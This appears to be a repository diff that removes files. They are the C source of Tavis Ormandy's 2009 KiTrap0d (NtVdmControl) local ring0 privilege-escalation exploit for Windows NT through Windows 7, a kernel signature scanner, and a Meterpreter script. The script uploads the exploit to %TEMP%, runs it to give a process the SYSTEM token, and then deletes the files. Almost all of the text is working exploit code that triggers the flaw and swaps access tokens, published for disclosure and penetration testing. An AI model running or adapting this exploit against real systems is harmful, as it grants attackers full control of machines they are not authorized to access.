|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
|
||||
|
||||
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
|
||||
ModuleInfo.Module[0].ImageName,
|
||||
ModuleInfo.Module[0].Base);
|
||||
|
||||
// Load the kernel image specified
|
||||
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
|
||||
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature: version %d...",
|
||||
osvi.dwMajorVersion,
|
||||
osvi.dwMinorVersion,
|
||||
Version
|
||||
);
|
||||
|
||||
for (x=0;;x++) {
|
||||
|
||||
if(CodeSignatures[x].Version == -1)
|
||||
break;
|
||||
|
||||
if(CodeSignatures[x].Version != Version)
|
||||
continue;
|
||||
|
||||
LogMessage(L_INFO, "Trying signature with index %d", x);
|
||||
|
||||
// Scan for the appropriate signature
|
||||
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
|
||||
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0) {
|
||||
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
|
||||
|
||||
*OffsetFromBase = i;
|
||||
FreeLibrary(KernelHandle);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
|
||||
|
||||
FreeLibrary(KernelHandle);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// A quick logging routine for debug messages.
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
{
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
|
||||
va_start(Args, Format);
|
||||
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
|
||||
va_end(Args);
|
||||
|
||||
switch (Level) {
|
||||
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
|
||||
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
|
||||
case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
|
||||
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
|
||||
}
|
||||
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
|
@ -1,386 +0,0 @@
|
|||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||||
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
||||
//
|
||||
// Tavis Ormandy, June 2009.
|
||||
//
|
||||
// Tested on:
|
||||
// $ cmd /c ver
|
||||
// Microsoft Windows [Version 5.2.3790]
|
||||
//
|
||||
// This file contains the exploit payload and VDM Subsystem control routines.
|
||||
//
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <winerror.h>
|
||||
#include <winternl.h>
|
||||
#include <stddef.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
// Process to escalate to SYSTEM
|
||||
static DWORD TargetPid;
|
||||
|
||||
// Pointer to fake kernel stack.
|
||||
static PDWORD KernelStackPointer;
|
||||
|
||||
#define KernelStackSize 1024
|
||||
|
||||
// Enforce byte alignment by default
|
||||
#pragma pack(1)
|
||||
|
||||
// Kernel module handle
|
||||
static HMODULE KernelHandle;
|
||||
|
||||
// Eflags macros
|
||||
#define EFLAGS_CF_MASK 0x00000001 // carry flag
|
||||
#define EFLAGS_PF_MASK 0x00000004 // parity flag
|
||||
#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
|
||||
#define EFLAGS_ZF_MASK 0x00000040 // zero flag
|
||||
#define EFLAGS_SF_MASK 0x00000080 // sign flag
|
||||
#define EFLAGS_TF_MASK 0x00000100 // trap flag
|
||||
#define EFLAGS_IF_MASK 0x00000200 // interrupt flag
|
||||
#define EFLAGS_DF_MASK 0x00000400 // direction flag
|
||||
#define EFLAGS_OF_MASK 0x00000800 // overflow flag
|
||||
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
|
||||
#define EFLAGS_NT_MASK 0x00004000 // nested task
|
||||
#define EFLAGS_RF_MASK 0x00010000 // resume flag
|
||||
#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
|
||||
#define EFLAGS_AC_MASK 0x00040000 // alignment check
|
||||
#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
|
||||
#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
|
||||
#define EFLAGS_ID_MASK 0x00200000 // identification flag
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
# define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
|
||||
enum { VdmStartExecution = 0, VdmInitialize = 3 };
|
||||
|
||||
VOID FirstStage();
|
||||
BOOL InitializeVdmSubsystem();
|
||||
PVOID KernelGetProcByName(PSTR);
|
||||
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
||||
BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);
|
||||
|
||||
DWORD ethreadOffsets[] = {
|
||||
0x6, // WinXP SP3, VistaSP2
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
|
||||
// This routine is where I land after successfully triggering the vulnerability.
|
||||
VOID FirstStage()
|
||||
{
|
||||
FARPROC DbgPrint;
|
||||
FARPROC PsGetCurrentThread;
|
||||
FARPROC PsGetCurrentProcessId;
|
||||
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC ZwTerminateProcess;
|
||||
PVOID CurrentProcess;
|
||||
PVOID CurrentThread;
|
||||
PVOID TargetProcess, *PsInitialSystemProcess;
|
||||
DWORD StackBase, StackLimit, NewStack;
|
||||
DWORD i;
|
||||
LIST_ENTRY *ThreadListHead;
|
||||
HANDLE pid;
|
||||
HANDLE pret;
|
||||
|
||||
// Keep interrupts off until I've repaired my KTHREAD.
|
||||
__asm cli
|
||||
|
||||
// Resolve some routines I need from the kernel export directory
|
||||
DbgPrint = KernelGetProcByName("DbgPrint");
|
||||
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||||
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||||
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||||
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||||
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
|
||||
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
|
||||
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
|
||||
|
||||
CurrentThread = (PVOID) PsGetCurrentThread();
|
||||
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||||
|
||||
//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
|
||||
// CurrentThread,
|
||||
// StackBase,
|
||||
// StackLimit);
|
||||
|
||||
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||
|
||||
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||||
// stack and repair them. Note that by "repair" I mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
|
||||
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||
for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
|
||||
CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
|
||||
(DWORD) &KernelStackPointer[0],
|
||||
(DWORD) &KernelStackPointer[KernelStackSize - 1],
|
||||
(DWORD) NewStack);
|
||||
}
|
||||
|
||||
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
PACCESS_TOKEN SystemToken;
|
||||
PACCESS_TOKEN TargetToken;
|
||||
|
||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
(DWORD) TargetToken,
|
||||
(DWORD) SystemToken,
|
||||
MaxExpectedEprocessSize,
|
||||
TRUE);
|
||||
// Success
|
||||
pret = 'w00t';
|
||||
} else {
|
||||
// Maybe the user closed the window?
|
||||
// Report this failure
|
||||
pret = 'LPID';
|
||||
}
|
||||
|
||||
__asm {
|
||||
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
}
|
||||
}
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL FindAndReplaceMember(PDWORD Structure,
|
||||
DWORD CurrentValue,
|
||||
DWORD NewValue,
|
||||
DWORD MaxSize,
|
||||
BOOL ObjectRefs)
|
||||
{
|
||||
DWORD i, Mask;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting (nice trick).
|
||||
Mask = ObjectRefs ? ~7 : ~0;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
|
||||
if (*checkMe >= rangeStart && *checkMe <= rangeEnd) {
|
||||
*checkMe = value;
|
||||
return TRUE;
|
||||
} else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Find an exported kernel symbol by name.
|
||||
PVOID KernelGetProcByName(PSTR SymbolName)
|
||||
{
|
||||
PUCHAR ImageBase;
|
||||
PULONG NameTable;
|
||||
PULONG FunctionTable;
|
||||
PUSHORT OrdinalTable;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
DWORD i;
|
||||
|
||||
ImageBase = (PUCHAR) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
// Find required tablesa from the ExportDirectory.
|
||||
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Scan each entry for a matching name.
|
||||
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
|
||||
PCHAR Symbol = ImageBase + NameTable[i];
|
||||
|
||||
if (strcmp(Symbol, SymbolName) == 0) {
|
||||
// Symbol found, return the appropriate entry from FunctionTable.
|
||||
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||||
}
|
||||
}
|
||||
|
||||
// Symbol not found, this is likely fatal :-(
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Exploit entrypoint.
|
||||
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
||||
{
|
||||
CONST DWORD MinimumExpectedVdmTibSize = 0x200;
|
||||
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
|
||||
|
||||
FARPROC NtVdmControl;
|
||||
DWORD KernelStack[KernelStackSize];
|
||||
DWORD Ki386BiosCallReturnAddress;
|
||||
CHAR Pid[32], Off[32], Krn[32];
|
||||
struct {
|
||||
ULONG Size;
|
||||
PVOID Padding0;
|
||||
PVOID Padding1;
|
||||
CONTEXT Padding2;
|
||||
CONTEXT VdmContext;
|
||||
DWORD Padding3[1024];
|
||||
} VdmTib;
|
||||
|
||||
FillMemory(&VdmTib, sizeof VdmTib, 0);
|
||||
FillMemory(&KernelStack, sizeof KernelStack, 0);
|
||||
|
||||
//
|
||||
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
|
||||
// With a buffer full of NULLs, the exploit never finds the right size.
|
||||
// This will require a more work to resolve, for just keep the padding zero'd
|
||||
|
||||
|
||||
// Parent passes parameters via environment variables.
|
||||
//
|
||||
// - VDM_TARGET_PID
|
||||
// Pid of the process to transplant a SYSTEM token onto.
|
||||
// - VDM_TARGET_OFF
|
||||
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
|
||||
// - VDM_TARGET_KRN
|
||||
// Ntoskrnl base address.
|
||||
|
||||
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
|
||||
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
|
||||
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
|
||||
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
TargetPid = strtoul(Pid, NULL, 0);
|
||||
|
||||
// Setup the fake kernel stack, and install a minimal VDM_TIB,
|
||||
KernelStackPointer = KernelStack;
|
||||
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
|
||||
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
|
||||
KernelStack[7] = (DWORD) FirstStage; // RetAddr
|
||||
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Initialize the VDM Subsystem.
|
||||
InitializeVdmSubsystem();
|
||||
|
||||
VdmTib.Size = MinimumExpectedVdmTibSize;
|
||||
VdmTib.VdmContext.SegCs = 0x0B;
|
||||
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
|
||||
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
|
||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Allow thread initialization to complete. Without is, there is a chance
|
||||
// of a race in KiThreadInitialize's call to SwapContext
|
||||
Sleep(1000);
|
||||
|
||||
// Trigger the vulnerable code via NtVdmControl().
|
||||
while (VdmTib.Size++ < MaximumExpectedVdmTibSize) {
|
||||
NtVdmControl(VdmStartExecution, NULL);
|
||||
}
|
||||
|
||||
// Unable to find correct VdmTib size.
|
||||
ExitThread('VTIB');
|
||||
}
|
||||
|
||||
// Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
BOOL InitializeVdmSubsystem()
|
||||
{
|
||||
FARPROC NtAllocateVirtualMemory;
|
||||
FARPROC NtFreeVirtualMemory;
|
||||
FARPROC NtVdmControl;
|
||||
PBYTE BaseAddress;
|
||||
ULONG RegionSize;
|
||||
static DWORD TrapHandler[128];
|
||||
static DWORD IcaUserData[128];
|
||||
static struct {
|
||||
PVOID TrapHandler;
|
||||
PVOID IcaUserData;
|
||||
} InitData;
|
||||
|
||||
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
|
||||
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
|
||||
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00000000;
|
||||
InitData.TrapHandler = TrapHandler;
|
||||
InitData.IcaUserData = IcaUserData;
|
||||
|
||||
// Remove anything currently mapped at NULL
|
||||
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||||
|
||||
BaseAddress = (PVOID) 0x00000001;
|
||||
RegionSize = (ULONG) 0x00100000;
|
||||
|
||||
// Allocate the 1MB virtual 8086 address space.
|
||||
if (NtAllocateVirtualMemory(GetCurrentProcess(),
|
||||
&BaseAddress,
|
||||
0,
|
||||
&RegionSize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||||
ExitThread('NTAV');
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Finalise the initialisation.
|
||||
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||||
ExitThread('VDMC');
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
|
@ -1,99 +0,0 @@
|
|||
# $Id$
|
||||
|
||||
#
|
||||
# Meterpreter script for exploiting the KiTrap0D flaw
|
||||
# using Tavis Ormandy's PoC
|
||||
#
|
||||
|
||||
session = client
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"]
|
||||
)
|
||||
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Exec a command and return the results
|
||||
def m_exec(session, cmd)
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
b = ""
|
||||
while(d = r.channel.read)
|
||||
b << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
b
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
# Handle exceptions in the getuid() call
|
||||
begin
|
||||
print_status("Currently running as " + client.sys.config.getuid)
|
||||
print_line("")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
|
||||
print_status("Loading the vdmallowed executable and DLL from the local system...")
|
||||
based = ::File.join(Msf::Config.install_root, "data", "exploits", "kitrap0d")
|
||||
exp = ::File.join(based, "vdmallowed.exe")
|
||||
dll = ::File.join(based, "vdmexploit.dll")
|
||||
|
||||
expdata = ""
|
||||
::File.open(exp, "rb") do |fd|
|
||||
expdata = fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
dlldata = ""
|
||||
::File.open(dll, "rb") do |fd|
|
||||
dlldata = fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
tempdir = client.fs.file.expand_path("%TEMP%")
|
||||
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
print_status("Uploading vdmallowed to #{tempexe}...")
|
||||
fd = client.fs.file.new(tempexe, "wb")
|
||||
fd.write(expdata)
|
||||
fd.close
|
||||
|
||||
tempdir = client.fs.file.expand_path("%TEMP%")
|
||||
tempdll = tempdir + "\\" + "vdmexploit.dll"
|
||||
print_status("Uploading vdmallowed to #{tempdll}...")
|
||||
fd = client.fs.file.new(tempdll, "wb")
|
||||
fd.write(dlldata)
|
||||
fd.close
|
||||
|
||||
server = client.sys.process.open
|
||||
|
||||
print_status("Escalating our process (PID:#{server.pid})...")
|
||||
print_line("")
|
||||
|
||||
tempdrive = tempdir.split(':')[0]
|
||||
data = m_exec(client, "cmd.exe /c #{tempdrive}: & cd \"#{tempdir}\" & #{tempexe} #{server.pid}")
|
||||
print_line(data)
|
||||
|
||||
print_status("Deleting files...")
|
||||
client.fs.file.rm(tempexe)
|
||||
client.fs.file.rm(tempdll)
|
||||
|
||||
# Handle exceptions in the getuid() call
|
||||
begin
|
||||
print_status("Now running as " + client.sys.config.getuid)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
Loading…
Reference in New Issue